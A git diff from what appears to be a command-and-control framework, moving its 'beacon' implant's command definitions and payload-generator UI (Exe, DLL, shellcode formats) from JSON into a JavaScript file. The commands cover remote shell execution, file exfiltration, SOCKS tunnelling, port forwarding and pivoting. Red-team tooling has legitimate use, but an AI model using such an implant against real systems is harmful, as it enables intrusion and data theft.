cmd_rportfwd.addSubCommands([_cmd_rportfwd_start, _cmd_rportfwd_stop]); + + var cmd_sleep = ax.create_command("sleep", "Sets sleep time", "sleep 30m5s 10"); + cmd_sleep.addArgString("sleep", true, "Time in '%h%m%s' format or number of seconds"); + cmd_sleep.addArgInt("jitter", true, "Max random amount of time in % added to sleep"); + + var _cmd_socks_start = ax.create_command("start", "Start a SOCKS(4a/5) proxy server and listen on a specified port", "socks start 1080 -auth user pass"); + _cmd_socks_start.addArgFlagString("-h", "address", "Listening interface address", "0.0.0.0"); + _cmd_socks_start.addArgInt("port", true, "Listen port"); + _cmd_socks_start.addArgBool("-socks4", "Use SOCKS4 proxy (Default SOCKS5)"); + _cmd_socks_start.addArgBool("-auth", "Enable User/Password authentication for SOCKS5"); + _cmd_socks_start.addArgString("username", false, "Username for SOCKS5 proxy"); + _cmd_socks_start.addArgString("password", false, "Password for SOCKS5 proxy"); + var _cmd_socks_stop = ax.create_command("stop", "Stop a SOCKS proxy server", "socks stop 1080"); + _cmd_socks_stop.addArgInt("port", true); + var cmd_socks = ax.create_command("socks", "Managing socks tunnels"); + cmd_socks.addSubCommands([_cmd_socks_start, _cmd_socks_stop]); + + var _cmd_terminate_thread = ax.create_command("thread", "Terminate the main beacon thread (without terminating the process)", "terminate thread", "Task: terminate agent thread"); + var _cmd_terminate_process = ax.create_command("process", "Terminate the beacon process", "terminate process", "Task: terminate agent process"); + var cmd_terminate = ax.create_command("terminate", "Terminate the session"); + cmd_terminate.addSubCommands([_cmd_terminate_thread, _cmd_terminate_process]); + + var cmd_unlink = ax.create_command("unlink", "Disconnect from an pivot agent", "unlink 1a2b3c4d", "Task: disconnect from an pivot agent"); + cmd_unlink.addArgString("id", true); + + var cmd_upload = ax.create_command("upload", "Upload a file", "upload /tmp/file.txt C:\\Temp\\file.txt", "Task: upload file"); + cmd_upload.addArgFile("local_file", true); + cmd_upload.addArgString("remote_path", false); + + var cmd_shell = ax.create_command("shell", "Execute command via cmd.exe", "shell whoami /all"); + cmd_shell.addArgString("command", true); + cmd_shell.setPreHook(function (id, cmdline, ...args){ + if(args.length == 0) { + ax.console_print() + } + let params = cmdline.substring(6); + let new_cmd = "ps run -o C:\\Windows\\System32\\cmd.exe /c " + params; + ax.execute_command(id, new_cmd); + }); + + + + + if(listenerType == "BeaconHTTP") { + var commands_external = ax.create_commands_group("beacon", [cmd_cat, cmd_cd, cmd_cp, cmd_disks, cmd_download, cmd_execute, cmd_exfil, cmd_getuid, + cmd_job, cmd_link, cmd_ls, cmd_lportfwd, cmd_mv, cmd_mkdir, cmd_profile, cmd_ps, cmd_pwd, cmd_rev2self, cmd_rm, cmd_rportfwd, cmd_sleep, + cmd_socks, cmd_terminate, cmd_unlink, cmd_upload, cmd_shell] ); + + return { commands_windows: commands_external } + } + else if (listenerType == "BeaconSMB" || listenerType == "BeaconTCP") { + var commands_internal = ax.create_commands_group("beacon", [cmd_cat, cmd_cd, cmd_cp, cmd_disks, cmd_download, cmd_execute, cmd_exfil, cmd_getuid, + cmd_job, cmd_link, cmd_ls, cmd_lportfwd, cmd_mv, cmd_mkdir, cmd_profile, cmd_ps, cmd_pwd, cmd_rev2self, cmd_rm, cmd_rportfwd, + cmd_socks, cmd_terminate, cmd_unlink, cmd_upload] ); + + return { commands_windows: commands_internal } + } + + return ax.create_commands_group("none",[]); +} + +function GenerateUI(listenerType) +{ + var labelArch = form.create_label("Arch:"); + var comboArch = form.create_combo() + comboArch.addItems(["x64", "x86"]); + + var labelFormat = form.create_label("Format:"); + var comboFormat = form.create_combo() + comboFormat.addItems(["Exe", "Service Exe", "DLL", "Shellcode"]); + + var labelSleep = form.create_label("Sleep (Jitter %):"); + var textSleep = form.create_textline("4s"); + textSleep.setPlaceholder("1h 2m 5s") + var spinJitter = form.create_spin(); + spinJitter.setRange(0, 100); + spinJitter.setValue(0); + + if(listenerType != "BeaconHTTP") { + labelSleep.setVisible(false); + textSleep.setVisible(false); + spinJitter.setVisible(false); + } + + var checkKilldate = form.create_check("Set 'killdate'"); + var dateKill = form.create_dateline("dd.MM.yyyy"); + var timeKill = form.create_timeline("HH:mm:ss"); + + var checkWorkingTime = form.create_check("Set 'workingtime'"); + var timeStart = form.create_timeline("HH:mm"); + var timeFinish = form.create_timeline("HH:mm"); + + var labelSvcName = form.create_label("Service Name:"); + labelSvcName.setVisible(false) + var textSvcName = form.create_textline("AgentService"); + textSvcName.setVisible(false); + + var layout = form.create_gridlayout(); + layout.addWidget(labelArch, 0, 0, 1, 1); + layout.addWidget(comboArch, 0, 1, 1, 2); + layout.addWidget(labelFormat, 1, 0, 1, 1); + layout.addWidget(comboFormat, 1, 1, 1, 2); + layout.addWidget(labelSleep, 2, 0, 1, 1); + layout.addWidget(textSleep, 2, 1, 1, 1); + layout.addWidget(spinJitter, 2, 2, 1, 1); + layout.addWidget(checkKilldate, 3, 0, 1, 1); + layout.addWidget(dateKill, 3, 1, 1, 1); + layout.addWidget(timeKill, 3, 2, 1, 1); + layout.addWidget(checkWorkingTime, 4, 0, 1, 1); + layout.addWidget(timeStart, 4, 1, 1, 1); + layout.addWidget(timeFinish, 4, 2, 1, 1); + layout.addWidget(labelSvcName, 5, 0, 1, 1); + layout.addWidget(textSvcName, 5, 1, 1, 2); + + form.connect(comboFormat, "currentTextChanged", function(text) { + if(text == "Service Exe") { + labelSvcName.setVisible(true) + textSvcName.setVisible(true); + } + else { + labelSvcName.setVisible(true) + textSvcName.setVisible(true); + } + }); + + var container = form.create_container() + container.put("arch", comboArch) + container.put("format", comboFormat) + container.put("sleep", textSleep) + container.put("jitter", spinJitter) + container.put("is_killdate", checkKilldate) + container.put("kill_date", dateKill) + container.put("kill_time", timeKill) + container.put("is_workingtime", checkWorkingTime) + container.put("start_time", timeStart) + container.put("end_time", timeFinish) + container.put("svcname", textSvcName) + + var panel = form.create_panel() + panel.setLayout(layout) + + return { + ui_panel: panel, + ui_container: container + } +} diff --git a/Extenders/agent_beacon/config.json b/Extenders/agent_beacon/config.json index 63ed5a0b..f82608bb 100644 --- a/Extenders/agent_beacon/config.json +++ b/Extenders/agent_beacon/config.json @@ -1,1061 +1,9 @@ { "extender_type": "agent", "extender_file": "agent_beacon.so", + "ax_file": "ax_config.js", "agent_name": "beacon", "agent_watermark": "be4c0149", - - "listeners": [ - { - "listener_name": "BeaconHTTP", - "configs" : [ - { - "operating_system": "windows", - "handler": "handler_external", - "generate_ui": { - "layout": "glayout", - "elements": [ - { - "type": "label", - "text": "Arch:", - "position": [0, 0, 1, 1] - }, - { - "type": "combo", - "items": ["x64", "x86"], - "id": "arch", - "position": [0, 1, 1, 2] - }, - { - "type": "label", - "text": "Format:", - "position": [1, 0, 1, 1] - }, - { - "type": "combo", - "items": ["Exe", "Service Exe", "DLL", "Shellcode" ], - "id": "format", - "position": [1, 1, 1, 2] - }, - { - "type": "label", - "text": "Sleep (Jitter %):", - "position": [2, 0, 1, 1] - }, - { - "type": "input", - "id": "sleep", - "placeholder": "1h 2m 5s", - "text": "4s", - "position": [2, 1, 1, 1] - }, - { - "type": "spinbox", - "id": "jitter", - "min": 0, - "max": 100, - "position": [2, 2, 1, 1] - }, - { - "type": "checkbox", - "text": "Set 'killdate'", - "id": "is_killdate", - "position": [3, 0, 1, 1] - }, - { - "type": "date_input", - "id": "kill_date", - "format": "dd.MM.yyyy", - "position": [3, 1, 1, 1] - }, - { - "type": "time_input", - "id": "kill_time", - "format": "HH:mm:ss", - "position": [3, 2, 1, 1] - }, - { - "type": "checkbox", - "text": "Set 'workingtime'", - "id": "is_workingtime", - "position": [4, 0, 1, 1] - }, - { - "type": "time_input", - "id": "start_time", - "format": "HH:mm", - "position": [4, 1, 1, 1] - }, - { - "type": "time_input", - "id": "end_time", - "format": "HH:mm", - "position": [4, 2, 1, 1] - }, - { - "type": "label", - "text": "Service Name:", - "position": [5, 0, 1, 1] - }, - { - "type": "input", - "id": "svcname", - "text": "AgentService", - "position": [5, 1, 1, 2] - } - ] - } - } - ] - }, - { - "listener_name": "BeaconSMB", - "configs" : [ - { - "operating_system": "windows", - "handler": "handler_internal", - "generate_ui": { - "layout": "glayout", - "elements": [ - { - "type": "label", - "text": "Arch:", - "position": [0, 0, 1, 1] - }, - { - "type": "combo", - "items": ["x64", "x86"], - "id": "arch", - "position": [0, 1, 1, 2] - }, - { - "type": "label", - "text": "Format:", - "position": [1, 0, 1, 1] - }, - { - "type": "combo", - "items": ["Exe", "Service Exe", "DLL", "Shellcode" ], - "id": "format", - "position": [1, 1, 1, 2] - }, - { - "type": "checkbox", - "text": "Set 'killdate'", - "id": "is_killdate", - "position": [2, 0, 1, 1] - }, - { - "type": "date_input", - "id": "kill_date", - "format": "dd.MM.yyyy", - "position": [2, 1, 1, 1] - }, - { - "type": "time_input", - "id": "kill_time", - "format": "HH:mm:ss", - "position": [2, 2, 1, 1] - }, - { - "type": "label", - "text": "Service Name:", - "position": [3, 0, 1, 1] - }, - { - "type": "input", - "id": "svcname", - "text": "AgentService", - "position": [3, 1, 1, 2] - } - ] - } - } - ] - }, - { - "listener_name": "BeaconTCP", - "configs" : [ - { - "operating_system": "windows", - "handler": "handler_internal", - "generate_ui": { - "layout": "glayout", - "elements": [ - { - "type": "label", - "text": "Arch:", - "position": [0, 0, 1, 1] - }, - { - "type": "combo", - "items": ["x64", "x86"], - "id": "arch", - "position": [0, 1, 1, 2] - }, - { - "type": "label", - "text": "Format:", - "position": [1, 0, 1, 1] - }, - { - "type": "combo", - "items": ["Exe", "Service Exe", "DLL", "Shellcode" ], - "id": "format", - "position": [1, 1, 1, 2] - }, - { - "type": "checkbox", - "text": "Set 'killdate'", - "id": "is_killdate", - "position": [2, 0, 1, 1] - }, - { - "type": "date_input", - "id": "kill_date", - "format": "dd.MM.yyyy", - "position": [2, 1, 1, 1] - }, - { - "type": "time_input", - "id": "kill_time", - "format": "HH:mm:ss", - "position": [2, 2, 1, 1] - }, - { - "type": "label", - "text": "Service Name:", - "position": [3, 0, 1, 1] - }, - { - "type": "input", - "id": "svcname", - "text": "AgentService", - "position": [3, 1, 1, 2] - } - ] - } - } - ] - } - ], - - "handlers": [ - { - "id": "handler_external", - - "commands": [ - { - "command": "cat", - "message": "Task: read file", - "description": "Read first 2048 bytes of the specified file", - "example": "cat c:\\\\file.txt", - "args": [ - "STRING " - ] - }, - { - "command": "cd", - "message": "Task: change working directory", - "description": "Change current working directory", - "example": "cd C:\\Windows\\Temp", - "args": [ - "STRING " - ] - }, - { - "command": "cp", - "message": "Task: copy file", - "description": "Copy file", - "example": "cp src.txt dst.txt", - "args": [ - "STRING ", - "STRING " - ] - }, - { - "command": "disks", - "message": "Task: show mounted disks", - "description": "Lists mounted drives on current system", - "example": "disks" - }, - { - "command": "download", - "message": "Task: download file to teamserver", - "description": "Download a file", - "example": "download C:\\file.txt", - "args": [ - "STRING " - ] - }, - { - "command": "execute", - "description": "Execute [bof] in the current process's memory", - "subcommands": - [ - { - "name": "bof", - "message": "Task: execute BOF", - "description": "Execute Beacon Object File", - "example": "execute bof /home/user/whoami.o", - "args": [ - "FILE {Path to object file}", - "STRING [param_data]" - ] - } - ] - }, - { - "command": "exfil", - "description": "Manage current downloads", - "subcommands": - [ - { - "name": "cancel", - "description": "Cancels a download", - "example": "exfil cancel 1a2b3c4d", - "args": [ - "STRING " - ] - }, - { - "name": "start", - "description": "Resumes a download that's has been stoped", - "example": "exfil start 1a2b3c4d", - "args": [ - "STRING " - ] - }, - { - "name": "stop", - "description": "Stops a download that's in-progress", - "example": "exfil stop 1a2b3c4d", - "args": [ - "STRING " - ] - } - ] - }, - { - "command": "getuid", - "message": "Task: get username of current token", - "description": "Prints the User ID associated with the current token", - "example": "getuid" - }, - { - "command": "jobs", - "description": "Long-running tasks manager", - "subcommands": - [ - { - "name": "list", - "message": "Task: show jobs", - "description": "List of jobs", - "example": "jobs list" - }, - { - "name": "kill", - "message": "Task: kill job", - "description": "Kill a specified job", - "example": "jobs kill 1a2b3c4d", - "args": [ - "STRING " - ] - } - ] - }, - { - "command": "link", - "description": "Connect to an pivot agents", - "subcommands": - [ - { - "name": "smb", - "message": "Task: Connect to an SMB agent", - "description": "Connect to an SMB agent and re-establish control of it", - "example": "link smb 192.168.1.2 pipe_a1b2", - "args": [ - "STRING ", - "STRING " - ] - }, - { - "name": "tcp", - "message": "Task: Connect to an TCP agent", - "description": "Connect to an TCP agent and re-establish control of it", - "example": "link tcp 192.168.1.2 8888", - "args": [ - "STRING ", - "INT " - ] - } - ] - }, - { - "command": "ls", - "message": "Task: list of files in a folder", - "description": "Lists files in a folder", - "example": "ls c:\\users", - "args": [ - "STRING (.)" - ] - }, - { - "command": "lportfwd", - "description": "Managing local port forwarding", - "subcommands": - [ - { - "name": "start", - "description": "Start local port forwarding from server via agent", - "example": "lportfwd start 127.0.0.1 8080 192.168.1.1 8080", - "args": [ - "STRING (0.0.0.0) {Listening interface address on server}", - "INT {Listen port on server}", - "STRING {Remote forwarding address}", - "INT {Remote forwarding port}" - ] - }, - { - "name": "stop", - "description": "Stop local port forwarding", - "example": "lportfwd stop 8080", - "args": [ - "INT " - ] - } - ] - }, - { - "command": "mv", - "message": "Task: move file", - "description": "Move file", - "example": "mv src.txt dst.txt", - "args": [ - "STRING ", - "STRING " - ] - }, - { - "command": "mkdir", - "message": "Task: make directory", - "description": "Make a directory", - "example": "mkdir C:\\dir", - "args": [ - "STRING " - ] - }, - { - "command": "profile", - "description": "Configure the payloads profile for current session", - "subcommands": - [ - { - "name": "download.chunksize", - "message": "Task: set download chunk size", - "description": "Change the exfiltrate data size for download request (default 128000)", - "example": "profile download.chunksize 512000", - "args": [ - "INT " - ] - }, - { - "name": "killdate", - "message": "Task: set beacon's killdate", - "description": "Set the date and time for the beacon to stop working.", - "example": "profile killdate 28.02.2030 12:34:00", - "args": [ - "STRING { Datetime 'DD.MM.YYYY hh:mm:ss' in GMT format. Set 0 to disable the option}" - ] - }, - { - "name": "workingtime", - "message": "Task: set beacon's workingtime", - "description": "Set the start and end time of the beacon activity", - "example": "profile workingtime 8:00-17:30", - "args": [ - "STRING